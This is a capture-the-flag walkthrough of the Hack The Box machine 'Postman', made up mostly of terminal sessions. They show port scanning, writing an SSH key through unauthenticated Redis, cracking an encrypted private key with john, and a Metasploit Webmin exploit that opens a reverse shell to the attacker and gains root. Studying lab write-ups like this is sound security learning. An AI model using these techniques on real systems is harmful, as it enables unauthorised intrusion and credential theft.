As with any machines, the easy box ‘Postman’ is also started by running a number of port scans.
root@kalivm:~/Postman# nmap -A 10.10.10.160 -oN fullscan-A1 Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-15 10:54 CET Nmap scan report for postman (10.10.10.160) Host is up (0.015s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) |_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: The Cyber Geek's Personal Website 10000/tcp open http MiniServ 1.910 (Webmin httpd) | http-robots.txt: 1 disallowed entry |_/ |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=11/15%OT=22%CT=1%CU=35587%PV=Y%DS=2%DC=T%G=Y%TM=5DCE76 OS:3D%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10E%TI=Z%CI=Z%TS=A)SEQ(TI= OS:Z%CI=Z%II=I%TS=A)SEQ(SP=104%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M54 OS:DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6 OS:=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF OS:=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0% OS:Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y OS:%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%R OS:D=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IP OS:L=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 8080/tcp) HOP RTT ADDRESS 1 13.91 ms 10.10.14.1 2 15.30 ms postman (10.10.10.160) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 86.51 seconds
This provides with open ports 22, 80 and 10000. As there are no apparent interesting ports other than that, I just start with the web server to see if there is anything of particular interest.
The webpage consist of only one real page of content. Nothing too interesting here and I decide to move on quickly.
Seeing port 10000 made me curious as I know that most times, the most crappy piece of web software called Webmin is hosted on this port. Browsing it by IP immediately gave an error though.
After fixing the error, my suspicion was confirmed, it indeed ran Webmin. I knew that this would be my way to root as Webmin is required to run as root the moment I saw it. After browsing the various ports for a while, I could not get any further with my standard approach. Also, the full port scan I started (-p-) took ages t complete. Someone gave me a hint that I could limit the full scan to just the first 10000 ports so I did with the following results.
root@kalivm:~/Postman# nmap -sS -p 1-10000 10.10.10.160 Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-15 11:32 CET Nmap scan report for postman (10.10.10.160) Host is up (0.017s latency). Not shown: 9988 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 765/tcp filtered webster 4975/tcp filtered unknown 5520/tcp filtered sdlog 5626/tcp filtered unknown 6153/tcp filtered unknown 6379/tcp open redis 7210/tcp filtered unknown 7659/tcp filtered unknown 7960/tcp filtered unknown 10000/tcp open snet-sensor-mgmt Nmap done: 1 IP address (1 host up) scanned in 499.67 seconds
A redis port, that could be interesting. After some short research, I already found that there is a command-line tool for Redis so I decided to try it.
root@kalivm:~/Postman# redis-cli -h 10.10.10.160 10.10.10.160:6379> info # Server redis_version:4.0.9 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:9435c3c2879311f3 redis_mode:standalone os:Linux 4.15.0-58-generic x86_64 arch_bits:64 ----snip----
So apparently this is redis version 4.0.9 but more importantly, it does not require any authentication. After reading this redis exploit POC I created my own key for this server. After fiddling with it for a while, I finally got the following commands to work.
root@kalivm:~/Postman# redis-cli -h 10.10.10.160 flushall OK root@kalivm:~/Postman# cat redis_pwn.txt | redis-cli -h 10.10.10.160 -x set sedje OK
The redis_pwn.txt file contains the public key, as written in the POC with two newlines before and after. So all I had to do is load the contents into the authorized keys file.
root@kalivm:~/Postman# redis-cli -h 10.10.10.160 10.10.10.160:6379> config get dir 1) "dir" 2) "/var/lib/redis/.ssh" 10.10.10.160:6379> config get dbfilename 1) "dbfilename" 2) "uknqrsdo.so" 10.10.10.160:6379> config set dbfilename "authorized_keys" OK 10.10.10.160:6379> save OK
Next thing to do, in another terminal.
root@kalivm:~/Postman# ssh -i postman.key firstname.lastname@example.org Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Fri Nov 15 11:47:13 2019 from 10.10.15.95 redis@Postman:~$ id uid=107(redis) gid=114(redis) groups=114(redis)
So now I’ve got a shell on the box. Next up is finding the user.txt and becoming the user who has access to it. After just little time searching, I find an interesting file in the /opt directory.
redis@Postman:~/opt$ cat id_rsa.bak -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX ----snip---- VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw== -----END RSA PRIVATE KEY-----
Looks like I got a password protected key which could be used on SSH. So I copy the contents to my local machine and try to crack it.
root@kalivm:~/Postman# python /usr/share/john/ssh2john.py id_rsa.bak > postman.hash root@kalivm:~/Postman# cat postman.hash id_rsa.bak:$sshng$0$8$73E9CEFBCCF5287C$1192$25e840e75235eebb0238e56ac96c7e ----snip---- e473e9a7a4278d9f00e4446e50419a641114bc626d3c61e36722e9932b4c8538da3ab44d63 root@kalivm:~/Postman# john --wordlist=/usr/share/wordlists/rockyou.txt postman.hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 4 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status computer2008 (id_rsa.bak) Warning: Only 2 candidates left, minimum 4 needed for performance. 1g 0:00:00:07 DONE (2019-11-15 11:53) 0.1377g/s 1975Kp/s 1975Kc/s 1975KC/sa6_123..*7¡Vamos! Session completed
With ssh2john and john, this was peanuts as I had also done this before in several boxes. Apparently the password is computer2008.
root@kalivm:~/Postman# ssh -i id_rsa.bak Matt@10.10.10.160 Enter passphrase for key 'id_rsa.bak': Connection closed by 10.10.10.160 port 22
But after trying this password in combination with the id_rsa file, the connection gets closed immediately. So I still don’t have access to the system as user Matt. However, there are other ways to try this.
redis@Postman:/var$ su - Matt Password: Matt@Postman:~$ cat user.txt 517ad0ec<NOFLAG>af8d93aac08a2f3c
So changing to Matt on the command-line with, apparently the same password works, and now I’ve got the user flag owned!
Of course the next step is to escalate privileges to root. After some regular privilege escalation search on the box, I decide to try to login to Webmin with Matt’s account.
So I can login on Webmin as Matt, this means that any authenticated exploit can be used too. Lets take the lazy route and search in MSF for a working exploit.
msf5 > search webmin Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/webmin/edit_html_fileaccess 2012-09-06 normal No Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access 1 auxiliary/admin/webmin/file_disclosure 2006-06-30 normal No Webmin File Disclosure 2 exploit/linux/http/webmin_packageup_rce 2019-05-16 excellent Yes Webmin Package Updates Remote Command Execution 3 exploit/unix/webapp/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi Backdoor 4 exploit/unix/webapp/webmin_show_cgi_exec 2012-09-06 excellent Yes Webmin /file/show.cgi Remote Command Execution 5 exploit/unix/webapp/webmin_upload_exec 2019-01-17 excellent Yes Webmin Upload Authenticated RCE msf5 > use 2
As I had seen during the short browsing of the Webmin interface, that there is a package update module available, Exploit 2 seems most feasible so I choose that one. Now all that’s left to do is set the right options and exploit the box
msf5 exploit(linux/http/webmin_packageup_rce) > set rhosts 10.10.10.160 rhosts => 10.10.10.160 msf5 exploit(linux/http/webmin_packageup_rce) > set ssl true ssl => true msf5 exploit(linux/http/webmin_packageup_rce) > set password computer2008 password => computer2008 msf5 exploit(linux/http/webmin_packageup_rce) > set username Matt username => Matt msf5 exploit(linux/http/webmin_packageup_rce) > exploit [*] Started reverse TCP handler on 10.10.15.187:10001 [+] Session cookie: edf8e53189a6e16225317ee94a7b9cc9 [*] Attempting to execute the payload... [*] Command shell session 1 opened (10.10.15.187:10001 -> 10.10.10.160:37910) at 2019-11-15 12:19:54 +0100 id uid=0(root) gid=0(root) groups=0(root)
Great, so now I’m root and I can get the flag!
cat /root/root.txt a257741c<NOFLAG>778c6ed95686ddce